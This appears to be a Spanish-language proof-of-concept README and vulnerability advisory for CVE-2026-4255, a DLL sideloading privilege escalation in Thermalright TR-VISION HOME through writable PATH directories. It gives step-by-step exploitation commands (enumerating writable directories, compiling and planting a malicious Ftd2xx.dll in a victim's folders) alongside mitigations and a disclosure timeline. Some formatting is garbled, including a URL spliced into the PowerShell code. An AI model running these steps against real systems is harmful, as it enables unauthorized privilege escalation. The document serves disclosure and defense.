
Prueba de concepto para CVE-2026-4255: escalada de privilegios mediante carga lateral de DLL en Thermalright TR-VISION HOME vía siembra de directorios en la ruta (PATH), con análisis completo de causa raíz y guía de mitigación.
Severidad: ALTA (CVSS 8.4)
CWE: CWE-829 Inclusion of Functionality from Untrusted Control Sphere
Publicado: 16/03/2026
CNA: Toreon
Versiones afectadas: Thermalright TR-VISION HOME ≤ 2.0.5 (Windows 64-bit)
Descubierto por: Ard33
Thermalright TR-VISION HOME carga Ftd2xx.dll (biblioteca FTDI USB-to-serial) usando el orden de búsqueda de DLL predeterminado de Windows. Este orden incluye directorios escribibles por el usuario antes que ubicaciones protegidas del sistema. Dado que TR-VISION HOME siempre se ejecuta con privilegios administrativos y no realiza ninguna verificación de integridad o firma en las bibliotecas cargadas, un atacante que pueda escribir en cualquier directorio del PATH puede colocar una Ftd2xx.dll manipulada y hacer que se cargue con privilegios elevados la próxima vez que se inicie la aplicación.
No se requieren derechos administrativos para colocar la DLL. Un usuario con pocos privilegios puede explotar esto contra cualquier usuario que posteriormente inicie TR-VISION HOME con elevación.
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
| Métrica | Valor |
|---|---|
| Vector de Ataque | Local |
| Complejidad de Ataque | Baja |
| Requisitos de Ataque | Ninguno |
La aplicación llama a LoadLibrary("Ftd2xx.dll") (o la importa implícitamente al cargarse) sin especificar una ruta completamente calificada. Windows resuelve la biblioteca recorriendo el orden de búsqueda definido en MSDN Orden de Búsqueda de Bibliotecas de Enlace Dinámico:
C:\Windows\System32)PATH ← explotableUn atacante coloca Ftd2xx.dll en un directorio escribible por el usuario que aparezca en PATH antes que System32. C:\Users\<Usuario>\.local\bin) es uno de esos directorios y está presente en PATH por defecto, lo que lo convierte en una ubicación de colocación fiable.
| Software | Versión | Plataforma |
|---|---|---|
| Thermalright TR-VISION HOME | ≤ 2.0.5 | Windows x64 |
Probado en TR-VISION HOME 2.0.5 en Windows 11.
%PATH%1. Identificar un directorio PATH escribible
$env:PATH -split ';' | Where-Object {
if (-not $_ -or -not (Test-Path $_)) { return $false }
try {
$t = Join-Path $_ '.wrtest'
[System.IO.File]:https://raw.githubusercontent.com/ard33/cve-2026-4255/HEAD/:Create($t).Close()
Remove-Item $t -Force
$true
} catch { $false }
}
Un valor predeterminado fiable: C:\Users\<Usuario>\.local\bin
2. Compilar la DLL de la PoC
MinGW (cruzada o nativa):
gcc -shared -o Ftd2xx.dll poc/Ftd2xx.c -Wl,--out-implib,Ftd2xx.lib
MSVC:
cl /LD poc\Ftd2xx.c /Fe:Ftd2xx.dll
3. Colocar la DLL
Elija cualquier directorio escribible del paso 1. Dos valores predeterminados comunes:
:: Directorio de scripts predeterminado de uv / pipx
copy Ftd2xx.dll "C:\Users\<victima>\.local\bin\Ftd2xx.dll"
:: Lanzador de Python (instalación estándar de Python)
copy Ftd2xx.dll "C:\Users\<victima>\AppData\Local\Programs\Python\Launcher\Ftd2xx.dll"
No se requiere elevación para este paso.
4. Desencadenar
La víctima inicia TR-VISION HOME (por ejemplo, desde el Menú Inicio o la bandeja del sistema). El aviso de UAC ejecuta la aplicación con privilegios administrativos. Durante la inicialización, Ftd2xx.dll se resuelve mediante el orden de búsqueda, la copia colocada se encuentra antes que System32, y el DllMain del atacante se ejecuta dentro del proceso elevado.
5. Resultado esperado
C:\Users\Public\CVE-2026-4255_pwned.txt, que contiene:
TokenIsElevated = YESProcmon mostrando TR-VISION HOME (PID 78940) buscando Ftd2xx.dll a través de directorios PATH — todos devuelven NAME NOT FOUND hasta que se resuelve la copia colocada:

Ftd2xx.dll colocada en AppData\Local\Programs\Python\Launcher\ (fecha 26/12/2025 — día del descubrimiento):

Símbolo del sistema elevado generado por la DLL cargada — la barra de título confirma contexto de Administrador:

Versión 2.0.5 de TR-VISION HOME:

Para Thermalright:
Ftd2xx.dll usando una ruta completamente calificada en tiempo de ejecución:
LoadLibraryExA("C:\\Windows\\System32\\Ftd2xx.dll", NULL, LOAD_LIBRARY_SEARCH_SYSTEM32);
LOAD_LIBRARY_SEARCH_SYSTEM32 o LOAD_LIBRARY_SEARCH_APPLICATION_DIR con LoadLibraryEx.WinVerifyTrust.HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\SafeDllSearchMode = 1), aunque esto no mitiga completamente la colocación basada en PATH.Para usuarios (temporal):
Ftd2xx.dll legítima (del paquete de controladores FTDI D2XX) directamente en el directorio de instalación de TR-VISION HOME (ej. C:\Program Files\TR-VISION HOME\). El directorio de la aplicación es la primera ubicación buscada, por lo que una copia legítima allí tiene prioridad sobre cualquier colocación basada en PATH.| Fecha | Evento |
|---|---|
| 26/12/2025 | Vulnerabilidad descubierta |
| 27/12/2025 | Contactado el vendedor (Thermalright) a través de canales de soporte |
| 16/03/2026 | Divulgación pública CVE-2026-4255 asignado por Toreon CNA |
Esta prueba de concepto se proporciona únicamente con fines educativos y de investigación. La carga útil de la PoC es intencionadamente benigna: escribe un archivo de texto y muestra un cuadro de mensaje. Úsela solo contra sistemas que le pertenezcan o para los que tenga permiso explícito por escrito para realizar pruebas. El autor no asume ninguna responsabilidad por el uso indebido.
| Privilegios Requeridos | Ninguno |
| Interacción del Usuario | Activa (la víctima ejecuta la aplicación) |